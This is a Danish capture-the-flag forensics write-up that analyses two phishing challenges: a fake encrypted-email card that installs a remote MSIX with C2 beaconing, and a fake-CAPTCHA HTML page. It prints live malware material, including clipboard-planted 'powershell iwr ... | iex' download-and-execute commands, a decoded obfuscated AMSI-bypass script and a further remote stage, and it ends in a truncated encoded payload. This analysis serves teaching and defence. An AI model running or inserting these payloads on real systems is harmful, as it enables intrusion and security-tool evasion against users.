1fch9vRWyI8vHZqEFeBssMXJ0lFRuV1xuE6GnGKTBEfusS2hEg9rw0cScQWEqHabmtJgwOOWE09+QWryBzAoydDFRUW7SxArRiQwORo2agYO9r5l4BVvGTgAo73uMcgwm6w9TYmdNX/lFGqtNPocZrg7C2YYp7Rj1LeWAH9NiTFa9ed3SSkFoeZGczf8L7KtmV5XjQ=="}{"sender":"jens.myrup@carnpfire.ddc","originator":"abd17b4b-e363-497a-90dc-a1a63b3b95c5","adaptiveCardSerialized":"{\n    "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",\n    "type": "AdaptiveCard",\n    "version": "1.0",\n    "body": [\n        {\n            "type": "ColumnSet",\n            "id": "1ede2aba-61b9-faa0-9895-9ed0c26b2e6f",\n            "columns": [\n                {\n                    "type": "Column",\n                    "id": "e5756242-0963-37a2-7cb4-4397886d60bb",\n                    "padding": "None",\n                    "width": "stretch",\n                    "items": [\n                        {\n                            "type": "TextBlock",\n                            "id": "20f3833e-0435-5c87-fad1-b528e0046fb6",\n                            "text": "Microsoft Secure Emails",\n                            "wrap": true\n                        }\n                    ],\n                    "verticalContentAlignment": "Center"\n                },\n                {\n                    "type": "Column",\n                    "id": "74215a26-fa8b-e549-cced-7f99fd34a661",\n                    "padding": "None",\n                    "width": "auto",\n                    "items": [],\n                    "horizontalAlignment": "Right"\n                }\n            ],\n            "padding": {\n                "top": "Small",\n                "bottom": "Small",\n                "left": "Default",\n                "right": "Small"\n            },\n            "style": "emphasis"\n        },\n        {\n            "type": "Container",\n            "id": "page2",\n            "padding": "Default",\n            "items": [\n                {\n                    "type": "TextBlock",\n                    "id": "c3198856-e75b-4213-8b02-f439637150cd",\n                    "text": "Error!",\n                    "wrap": true,\n                    "size": "Large",\n                    "weight": "Bolder"\n                },\n                {\n                    "type": "TextBlock",\n                    "id": "1a9aafec-402b-79fb-340c-cccb71542335",\n                    "text": "Your machine does not support the required features for opening an encrypted email. Please enable the feature to view the message",\n                    "wrap": true\n                },\n                {\n                    "type": "ActionSet",\n                    "id": "b74cd6e8-6338-e36c-fa4a-73fe0a3090df",\n                    "actions": [\n                        {\n                            "type": "Action.OpenUrl",\n                            "id": "35e04d3c-c8fe-caab-9db8-caa54b0083fa",\n                            "title": "Enable Feature",\n                            "url": "ms-appinstaller:?source=https://secureemail.ctftech.uk/installer.msix",\n                            "style": "positive",\n                            "isPrimary": true\n                        }\n                    ],\n                    "horizontalAlignment": "Right"\n                }\n            ],\n            "isVisible": false\n        },\n        {\n            "type": "Container",\n            "id": "page1",\n            "padding": "Default",\n            "spacing": "None",\n            "items": [\n                {\n                    "type": "TextBlock",\n                    "id": "44906797-222f-9fe2-0b7a-e3ee21c6e380",\n                    "text": "You have a new encrypted email",\n                    "wrap": true,\n                    "weight": "Bolder",\n                    "size": "Large",\n                    "style": "heading"\n                },\n                {\n                    "type": "TextBlock",\n                    "id": "f7abdf1a-3cce-2159-28ef-f2f362ec937e",\n                    "text": "You have recieved an encrypted email from \\"jens.myrup@cybermesterskaberne.ddc\\" with the subject \\"Credentials for CTFd\\"",\n                    "wrap": true\n                },\n                {\n                    "type": "ActionSet",\n                    "id": "a4b7f6fa-f09c-3240-0107-ba96da50471c",\n                    "actions": [\n                        {\n                            "type": "Action.ToggleVisibility",\n                            "id": "d869056c-e436-18f1-1938-a037da6db8c8",\n                            "title": "View message",\n                            "targetElements": [\n                                {\n                                    "elementId": "page1",\n                                    "isVisible": false\n                                },\n                                {\n                                    "elementId": "page2",\n                                    "isVisible": true\n                                }\n                            ],\n                            "style": "positive",\n                            "isPrimary": true\n                        }\n                    ],\n                    "horizontalAlignment": "Right"\n                }\n            ]\n        }\n    ],\n    "padding": "None",\n    "@type": "AdaptiveCard",\n    "@context": "http://schema.org/extensions",\n\texpectedActors: [\n  \t  null\n\t],\n\thideOriginalBody: true,\n\trtl: false\n}","iat":"1771427088","recipientsSerialized":"[\"offer.soerensen@hotmail.ddc\"]"}

Blandt alt det her finder vi en url: "url": "ms-appinstaller:?source=https://secureemail.ctftech.uk/installer.msix", som peger på en msix fil. Det er en Microsoft Installer fil, som kan installeres på Windows 10 og 11. Hvis man downloader denne fil, kan den faktisk åbnes som et hvilket som helst zip arkiv, og inde i den finder vi 3 xml filer og en main.exe fil.

installer.msix (mirror)

Efter at have kigget i main.exe filen ved hjælp af Binary Ninja, finder vi en funktion som laver network requests til long-recipe-da01.oluf-sand.workers.dev og sender data til /api/args og modtager data fra /api/result. Dette ligner klassisk c2 kommunikation.

int16_t* sub_402270()
{
    int32_t var_8 = 0xffffffff;
    int32_t (* var_c)(void* arg1) = sub_41af06;
    TEB* fsbase;
    struct _EXCEPTION_REGISTRATION_RECORD* ExceptionList = fsbase->NtTib.ExceptionList;
    int32_t __saved_ebp;
    int32_t eax_2 = __security_cookie ^ &__saved_ebp;
    int32_t var_184 = eax_2;
    fsbase->NtTib.ExceptionList = &ExceptionList;
    void var_44;
    sub_404850(&var_44, u"long-recipe-da01.oluf-sand.workers.dev");
    int32_t var_8_1 = 0;
    int16_t var_150 = 0x1bb;
    void var_74;
    sub_404850(&var_74, u"/api/args");
    var_8_1 = 1;
    void var_5c;
    sub_404850(&var_5c, u"/api/result");
    var_8_1 = 2;
    void var_2c;
    sub_404650(&var_2c);
    var_8_1 = 3;
    int16_t* result;
    
    if (sub_401980(&var_44, 0x1bb, &var_74, &var_2c))
    {
        int32_t var_14c;
        sub_404920(&var_14c);
        var_8_1 = 4;
        
        if (sub_401470(&var_2c, &var_14c))
        {
            void var_a4;
            sub_404650(&var_a4);
            var_8_1 = 5;
            uint32_t var_140 = 0;
            
            if (sub_401e80(&var_14c, &var_a4, &var_140))
            {
                void var_134;
                int32_t* eax_10 = sub_407010(&var_134, var_140);
                var_8_1 = 6;
                var_8_1 = 7;
                var_8_1 = 8;
                var_8_1 = 9;
                var_8_1 = 0xa;
                void var_11c;
                void var_104;
                void var_ec;
                void var_d4;
                void var_bc;
                sub_402970(&var_bc, 
                    sub_402930(&var_d4, 
                        sub_402970(&var_ec, 
                            sub_4029b0(&var_104, "{"output":"", sub_401630(&var_11c, &var_a4)), 
                            "","exit_code":"), 
                        eax_10), 
                    "}");

Hvis vi bruger curl til at sende en request til long-recipe-da01.oluf-sand.workers.dev/api/args får vi powershell commands, men en note er at svaret skifter hver gang:

C2 Server responses

Her finder vi flaget.

Flag: DDC{pl34s3_t3ll_m3_y0u_r4n_th1s_1n_4_s4ndb0x}

Youve got mail!

I um… might have clicked something I shouldn’t have… I swear I didn’t mean to! I just wanted to see if it was really the flags being shared - to let Jens know I mean! Anyway, can you help me out?

Disclaimer: The handout file may be flagged as malware by antivirus software. It is recommended to run it in a sandbox or isolated environment.

Vedhæftet fil: forensics_youvegotmail.zip

Løsning: Dette er igen en suspekt udseende mail, som indeholder en html fil kaldet SecureMessage.html. I denne html fil finder vi noget der minder rigtig meget om falske CAPTCHA malware.

document.onkeydown = () => {
    const type = "text/plain";
    const clipboardItemData = {
        [type]: 'powershell.exe -ExecutionPolicy Bypass -c "iwr -UseBasicParsing jolly-heart-a4be.oluf-sand.workers.dev|iex";#               Enable-Feature -Name EncryptedEmails                           ',
    };
    const clipboardItem = new ClipboardItem(clipboardItemData);
    navigator.clipboard.write([clipboardItem]);
}

Hvis personen som åbner denne mail og kopire teksten og kører den i windows run dialogen, så vil det køre en powershell kommando som henter og kører kode fra jolly-heart-a4be.oluf-sand.workers.dev.

Hvis vi sender en request til jolly-heart-a4be.oluf-sand.workers.dev får vi følgende respons tilbage:

echo "">C:/Windows/Temp/ndr8C2E.tmp

Min første tanke er at vi skal have nogle headers som gør at serveren tror det er en request fra powershell, så jeg prøver at sende følgende request:

curl -A "Mozilla/5.0 (Windows NT; Windows NT 10.0; de-DE) WindowsPowerShell/5.1.19041.5737" http://jolly-heart-a4be.oluf-sand.workers.dev

Aha! Nu får vi følgende respons:

echo "">C:/Windows/Temp/ndr8C2E.tmp
$dat="H4sIAA7ZlmkA/41VW5PaOBN951e4XFRh48i2fAOTmgcyYTLZL0yogdmtfGQehC0YT4xNyXImZHf/e1qSL0xVHpYqLm6koz7ndLeGJC+fD+RqVGUPo8Gw/lnnNPl2pQ+NbXI7Z4/G9t0XTh/dH6FvWtvrJnTmCwhNYhW6h9Duy0asmqhVBEIYR+PYd2IRASi56LwR+6JQLHoiF+hRapr20DBGS1KMrBE5UPg80oKPTPuuZMt5nv2kMiWFI88Poj6lFnqvoMX5bmRN5ZPYE7pWqNIVx0ZTKwpQFJimhhg95SShGoDLjBrwMJF5ixDGnuKguCuiu45oK0eQdulg7FqBiwJXnS8iXjj2YseLJc8WrCWCBb7MsxVkIjVSdN812gZdCGNsRR6KVF4yRzce+7HjC46J5B9PLB9JOySwtCN0YoHbMlW4kdSlWYTHoeuEIm9AUUzG8dSJp40/8+PIamrGGvEsr8CgomRHAgYtgJckKzLuDGqpNodJg5Ruuy+qjHoW04nlNU+wIIJDL/xp1VAGSH86gRSQTFsVn+eP/cDxG8kAejLplBEQslhoL58Xmqb+dnioz0/Zld7VEJZyKVKQrrRBJtiIE1pQHKgpkAa8cesiGRePvcDxZDJykQel2fSTcAqsw44vikCVJ7gLTnRNItz2YgS101unRIhUB4hQAFv6vsLuxMIBwuJIZcB0amHZim2WF2QayVyAmAAZoVTTnm1bk16GxltVe00Tn1UTq5Zpqw27oQPv3k4Lu6Ihm+OwB88ugjcIv908MUrSrDjY6tfjbLbOKT0ZOAQl3w6yvTGkxffZw3pxfzdfLjRUUG30TItqpKGSafLP68/L1cPmcsHxzOrTkSRPWUFH5t+M8poV/w6G64RlJz77WFSc5Pl9WXJNvq60P8qsQCvCnxTkipUHRo7vCSeafl0WvKzK91CR5VlMJ71D+lQe5Kbu9QrpN8fpeXmo+v1rTji9yXL6n/fDT07t56osepR7esgqzs4doStNv/3fp+Xs6/rzzeav+f3ia8Ph6yonfA+N229e/KBJzbOy+Ji2KWwPdSasuKMvH+CXYdqbcs0Z2GSYl6kzvsmOF6l/oByBZHQwXDBWsnkiYFeM7imjBfQypLXm5UkfiOVDDnuBzfEEcaPdenGUfoYXWi5Rmmq3t7PjcVZV9n6/1021X9AgnNNU4G57uEdt+/Hu5jN8DY3fkDQfteuyzlOtALEyJS2osSjILpdYQ85qOtje0/2jPa8qetzlZxvy25xP1GivStPWIbTPFnmqG3Kyq+E7xpGDmwtKzoDYCkMUqnZob7Huynx918qJ3M8qEQrUkH7VbmJ8vb6C1Mbu+vVCB+ZaO3TafWoqt3cERv2gaQ9TN4LM0o+t5kmNFdyxaC/+5mS4S9/od+Byvcuz5I2o5yzRQZ31gv9J8pqCOpv/n8j7F/6m1Vj09QvT0ENF35EqS1aEVWC49lzm+Rk9UagrRIIdtcu83qOKFKn9UrJvlFV2Sr879SmFQnGITybEDynyQj9AwS6I0DTcuyj1fTdI/GAfTMk/Gf0x+AWpkST07AgAAA=="
$bytes = [Convert]::FromBase64String($dat)
$ms = New-Object IO.MemoryStream(,$bytes)
$gs = New-Object IO.Compression.GZipStream($ms,[IO.Compression.CompressionMode]::Decompress)
$sr = New-Object IO.StreamReader($gs,[Text.Encoding]::UTF8)
$result = $sr.ReadToEnd()
echo $result | iex

Vi kan se på kodens logik at der bliver dekodes fra base64, og så bliver det dekomprimeret ved hjælp af gzip. Hvis vi dekoder og dekomprimerer dataen i $dat variablen, får vi følgende powershell kode:

$alojga='siU'
$uzuleck="$([cHAr]([BYte]0x53)+[CHAr]([BytE]0x79)+[CHAR]([bYTe]0x73)+[CHaR](116*93/93)+[cHAR]([byTE]0x65)+[Char]([BYte]0x6d)).$(('Man'+'age'+'ment').NorMAlize([cHAR]([bytE]0x46)+[CHAr]([byTE]0x6f)+[ChaR](106+8)+[ChAR](50+59)+[CHar](68+64-64)) -replace [cHar]([bytE]0x5c)+[cHar](112)+[cHAr]([ByTe]0x7b)+[CHaR]([BytE]0x4d)+[CHAr](110+40-40)+[ChAr](125*29/29)).$([cHAr]([bytE]0x41)+[chAR]([BYte]0x75)+[CHAR]([BYTe]0x74)+[CHAR](111+62-62)+[cHar](109*39/39)+[chaR](97+3-3)+[ChAR](116*95/95)+[cHar]([bYTe]0x69)+[ChAR](111*50/50)+[char](110*98/98)).$(('Am'+$alojga+'tils').normalizE([chAr]([BYTE]0x46)+[cHAr]([bYTe]0x6f)+[CHaR]([bYtE]0x72)+[cHar](87+22)+[cHaR](68)) -replace [CHAR]([ByTe]0x5c)+[CHAR]([BYtE]0x70)+[cHaR](123*34/34)+[CHAr](77)+[chaR]([ByTE]0x6e)+[cHar](125))";$guyhi="+[ChaR](115)+[chAr]([bYte]0x72)+[char](115+112-112)+[chaR]([BYTe]0x70)+[cHaR](101*24/24)+[ChaR](26+83)+[CHAR](99*31/31)+[CHar](11+111)+[Char](111+29-29)+[cHar]([byTe]0x66)+[CHar](4+115)+[Char](107+14-14)+[cHAr](88+13)+[chaR]([BYte]0x72)+[cHaR](120+117-117)+[Char]([bYTe]0x7a)+[chAr]([BYTE]0x62)+[char]([Byte]0x6c)+[cHAR](116*105/105)+[cHaR](6+108)+[cHaR](112+100-100)";[Threading.Thread]::Sleep(1570);
if($env:USERNAME -ne 'jens' -or $env:COMPUTERNAME -ne 'myrupmachine'){return}
$Script:InstallRoot      = Join-Path $env:ProgramData "ContosoDeployment"
$Script:LogPath          = Join-Path $Script:InstallRoot "logs"
$Script:StateFile        = Join-Path $Script:InstallRoot "state.json"
$Script:RegistryRoot     = "HKLM:\SOFTWARE\Contoso\Platform"
$Script:ExecutionId      = [guid]::NewGuid().ToString()
$Script:StartTime        = Get-Date
$ErrorActionPreference = "Stop"
    $timestamp = (Get-Date).ToString("yyyy-MM-dd HH:mm:ss.fff")
    $formatted = "[$timestamp] [INFO] [$($Script:ExecutionId)] Could not install"
$Enabled = $true
[Ref].Assembly.GetType($uzuleck)."GetfiEld"($([cHaR](97*16/16)+[CHAR](109+55-55)+[cHAR]([byte]0x73)+[cHAr]([BYte]0x69)+[chaR]([ByTe]0x49)+[Char]([Byte]0x6e)+[CHaR]([BytE]0x69)+[cHaR](116*25/25)+[ChaR]([Byte]0x46)+[chaR](97+1-1)+[Char]([ByTe]0x69)+[CHAR](39+69)+[CHar](101+55-55)+[CHAR]([bytE]0x64)),"NonPublic,Static")."SEtValue"($TZpaDwt,$Enabled);
iwr -UseBasicParsing jolly-heart-a4be.oluf-sand.workers.dev/update/a3a7a35e-2534-4b46-85f0-d3304c34f48a|iex

Jeg spotter ret hurtigt at der er endu en forspørgsel til jolly-heart-a4be.oluf-sand.workers.dev i den dekodede kode, og at den sender data til /update/a3a7a35e-2534-4b46-85f0-d3304c34f48a. Hvis vi sender en request til denne endpoint, får vi følgende respons:

$dat="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